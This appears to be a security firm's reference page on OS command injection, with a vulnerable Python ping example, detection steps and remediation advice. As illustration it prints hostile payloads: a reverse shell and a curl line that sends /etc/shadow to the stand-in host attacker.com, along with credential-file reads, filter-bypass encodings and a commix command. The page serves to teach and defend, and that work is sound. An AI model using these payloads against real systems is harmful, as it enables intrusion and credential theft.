SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

OS Command Injection

Attackers inject shell metacharacters into application inputs to execute arbitrary OS commands on the server, enabling full system compromise.

CVSS 9.8CWE CWE-78OWASP A03:2021 — Injection

Description

OS command injection (CWE-78) occurs when an application passes unsanitized user-supplied data to a system shell. Unlike SQL injection, which targets a database layer, command injection reaches the underlying operating system directly, giving an attacker the same privileges as the process running the web server — often www-data, nobody, or even root in misconfigured cloud containers.

The vulnerability most commonly appears in features that wrap system utilities: ping/traceroute tools, file converters, image processors, DNS lookups, archive extractors, and CI/CD pipeline triggers. Any time a developer reaches for exec(), system(), popen(), subprocess.call(shell=True), or their equivalents, the risk surfaces immediately.

Because the injected payload runs in the context of the server process, a successful OS command injection typically leads to remote code execution (RCE), lateral movement inside the network, data exfiltration, and persistent backdoor installation — making it one of the most severe vulnerability classes covered by OWASP A03:2021.

How It Works

The attack exploits shell metacharacters (;, |, &&, ||, backticks, $()) to chain or substitute additional commands alongside the intended one.

Consider a network diagnostics feature that pings a host:

import os

def ping_host(host):
    os.system(f"ping -c 4 {host}")

A legitimate request sends 8.8.8.8. An attacker sends:

8.8.8.8; id; whoami; cat /etc/passwd

The shell now executes four commands sequentially. The attacker escalates by spawning a reverse shell:

8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1

In blind command injection scenarios the server returns no output. The attacker exfiltrates data over DNS or HTTP:

8.8.8.8; curl https://attacker.com/exfil?data=$(cat /etc/shadow | base64)

Common Burp Suite and commix payloads used during penetration testing include time-based detection: ; sleep 10 — a 10-second response delay confirms blind injection without triggering WAF signature matches.

Impact

  • Remote Code Execution — Full shell access on the server with the web process's privileges
  • Credential Theft — Reading /etc/passwd, /etc/shadow, application config files, and cloud metadata credentials
  • Lateral Movement — Using the compromised host as a pivot point to attack internal services unreachable from the internet
  • Data Exfiltration — Bulk extraction of databases, source code, and customer PII
  • Persistence — Installing cron jobs, SSH keys, or web shells for long-term access
  • Infrastructure Destructionrm -rf or ransomware deployment against the host filesystem

Detection

Penetration testing for OS command injection follows a systematic injection and observation pattern:

  1. Identify all inputs that might invoke system commands — form fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), file upload names, API parameters, and URL path segments routed to shell utilities.
  2. Inject time-delay payloads — append ; sleep 10, | timeout 10, and & ping -c 10 127.0.0.1 & to each input. Measure response latency with Burp Suite's Repeater to detect blind injection.
  3. Use out-of-band (OOB) techniques — inject ; nslookup $(whoami).your-collaborator-domain.com using Burp Collaborator or interactsh. A DNS callback confirms execution without visible output.
  4. Test parameter encoding variations — URL-encode (%3B), double-encode, and use hex escapes (\x3b) to bypass naive input filters.
  5. Run commixcommix --url "https://target.com/ping?host=INJECT" automates detection across dozens of metacharacter and encoding combinations.
  6. Review source code — grep for os.system, subprocess.call(..., shell=True), exec(), popen(), Runtime.exec(), system(), passthru(), shell_exec(), and backtick operators.

Remediation

Avoid shell invocation entirely. Use language-native APIs instead of shelling out. For network checks, use socket libraries; for image processing, use native SDKs; for file operations, use filesystem APIs.

Use parameterized command arrays. When shelling out is unavoidable, pass arguments as an array rather than a string so the shell is never invoked:

# Vulnerable
subprocess.call(f"ping -c 4 {host}", shell=True)

# Safe
subprocess.call(["ping", "-c", "4", host])  # shell=False by default

Allowlist inputs. If the input represents a hostname or IP address, validate it against a strict regex (^[a-zA-Z0-9.\-]+$) and reject anything that doesn't match before it reaches any execution context.

Apply principle of least privilege. Run web application processes as a dedicated low-privilege user. Disable CAP_NET_RAW, CAP_SYS_ADMIN, and similar capabilities on container workloads.

Deploy a WAF with command-injection rules. AWS WAF, ModSecurity, and Cloudflare have rulesets specifically targeting shell metacharacters. Use them as a defense-in-depth layer, not as the primary control.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping